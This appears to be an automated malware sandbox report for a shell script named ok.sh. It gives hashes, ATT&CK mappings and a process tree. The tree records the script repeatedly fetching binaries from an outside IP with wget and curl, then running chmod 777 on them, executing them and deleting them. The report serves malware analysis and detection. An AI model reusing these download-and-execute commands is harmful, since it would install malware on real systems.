0f7ba6fd0ff64c1115352b8fc30dc36fe8fd5d81154f2f54ac0e00f5fcf8a45f

Analysis

max time kernel
13s
max time network
15s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/06/2026, 09:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260608-k3bc6aaz8m
SHA256 0f7ba6fd0ff64c1115352b8fc30dc36fe8fd5d81154f2f54ac0e00f5fcf8a45f
MD5 b9545ad728f0fed3d7a49ea94dacc9a0
SHA1 02c07f6016c10311b04d09d4db7ea339187c9eec
SHA512 06ecd6effe78eac7a509c281616ec322fd780b3c6cdf9eb8fd10683645deab65e54c5331b5c95f88d7a6b93cc5d1ddfa85697d0bc5497b0acfeb518e3297eeb9
TLSH
T13231C9AB5B293B9C5401DDAA73AA2048E460D5CA704FE794FF8C0C7AE5C855C3359B4B
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
766	chmod
773	chmod
794	chmod
803	chmod
817	chmod
670	chmod
722	chmod
759	chmod
780	chmod
787	chmod
810	chmod
824	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/b1e187	671	ok.sh
/tmp/626343	723	ok.sh
/tmp/add984	760	ok.sh
/tmp/cab2e5	767	ok.sh
/tmp/ae418a	774	ok.sh
/tmp/0cd571	781	ok.sh
/tmp/42ac6c	788	ok.sh
/tmp/964d78	795	ok.sh
/tmp/95d387	804	ok.sh
/tmp/7f1fc5	811	ok.sh
/tmp/5e939d	818	ok.sh
/tmp/c25933	825	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/626343	curl
File opened for modification	/tmp/ae418a	curl
File opened for modification	/tmp/964d78	curl
File opened for modification	/tmp/5e939d	curl
File opened for modification	/tmp/b1e187	curl
File opened for modification	/tmp/add984	curl
File opened for modification	/tmp/cab2e5	curl
File opened for modification	/tmp/0cd571	curl
File opened for modification	/tmp/42ac6c	curl
File opened for modification	/tmp/95d387	curl
File opened for modification	/tmp/7f1fc5	curl
File opened for modification	/tmp/c25933	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://45.205.1.59/b1e187
  2⤵
  PID:647
- /usr/bin/curl
  curl -O http://45.205.1.59/b1e187
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod 777 b1e187
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/b1e187
  ./b1e187 newsrv
  2⤵
  PID:671
- /bin/rm
  rm -rf b1e187
  2⤵
  PID:674
- /bin/rm
  rm -rf b1e187.1
  2⤵
  PID:676
- /usr/bin/wget
  wget http://45.205.1.59/626343
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://45.205.1.59/626343
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:705
- /bin/chmod
  chmod 777 626343
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/626343
  ./626343 newsrv
  2⤵
  PID:723
- /bin/rm
  rm -rf 626343
  2⤵
  PID:725
- /bin/rm
  rm -rf 626343.1
  2⤵
  PID:726
- /usr/bin/wget
  wget http://45.205.1.59/add984
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://45.205.1.59/add984
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 add984
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/add984
  ./add984 newsrv
  2⤵
  PID:760
- /bin/rm
  rm -rf add984
  2⤵
  PID:762
- /bin/rm
  rm -rf add984.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://45.205.1.59/cab2e5
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://45.205.1.59/cab2e5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 cab2e5
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/cab2e5
  ./cab2e5 newsrv
  2⤵
  PID:767
- /bin/rm
  rm -rf cab2e5
  2⤵
  PID:769
- /bin/rm
  rm -rf cab2e5.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://45.205.1.59/ae418a
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://45.205.1.59/ae418a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 ae418a
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/ae418a
  ./ae418a newsrv
  2⤵
  PID:774
- /bin/rm
  rm -rf ae418a
  2⤵
  PID:776
- /bin/rm
  rm -rf ae418a.1
  2⤵
  PID:777
- /usr/bin/wget
  wget http://45.205.1.59/0cd571
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://45.205.1.59/0cd571
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 0cd571
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/0cd571
  ./0cd571 newsrv
  2⤵
  PID:781
- /bin/rm
  rm -rf 0cd571
  2⤵
  PID:783
- /bin/rm
  rm -rf 0cd571.1
  2⤵
  PID:784
- /usr/bin/wget
  wget http://45.205.1.59/42ac6c
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://45.205.1.59/42ac6c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 42ac6c
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/42ac6c
  ./42ac6c newsrv
  2⤵
  PID:788
- /bin/rm
  rm -rf 42ac6c
  2⤵
  PID:790
- /bin/rm
  rm -rf 42ac6c.1
  2⤵
  PID:791
- /usr/bin/wget
  wget http://45.205.1.59/964d78
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://45.205.1.59/964d78
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 964d78
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/964d78
  ./964d78 newsrv
  2⤵
  PID:795
- /bin/rm
  rm -rf 964d78
  2⤵
  PID:797
- /bin/rm
  rm -rf 964d78.1
  2⤵
  PID:798
- /usr/bin/wget
  wget http://45.205.1.59/95d387
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://45.205.1.59/95d387
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 95d387
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/95d387
  ./95d387 newsrv
  2⤵
  PID:804
- /bin/rm
  rm -rf 95d387
  2⤵
  PID:806
- /bin/rm
  rm -rf 95d387.1
  2⤵
  PID:807
- /usr/bin/wget
  wget http://45.205.1.59/7f1fc5
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://45.205.1.59/7f1fc5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 7f1fc5
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/7f1fc5
  ./7f1fc5 newsrv
  2⤵
  PID:811
- /bin/rm
  rm -rf 7f1fc5
  2⤵
  PID:813
- /bin/rm
  rm -rf 7f1fc5.1
  2⤵
  PID:814
- /usr/bin/wget
  wget http://45.205.1.59/5e939d
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://45.205.1.59/5e939d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 5e939d
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/5e939d
  ./5e939d newsrv
  2⤵
  PID:818
- /bin/rm
  rm -rf 5e939d
  2⤵
  PID:820
- /bin/rm
  rm -rf 5e939d.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://45.205.1.59/c25933
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://45.205.1.59/c25933
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 c25933
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/c25933
  ./c25933 newsrv
  2⤵
  PID:825
- /bin/rm
  rm -rf c25933
  2⤵
  PID:827
- /bin/rm
  rm -rf c25933.1
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b1e187

Path /tmp/b1e187
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads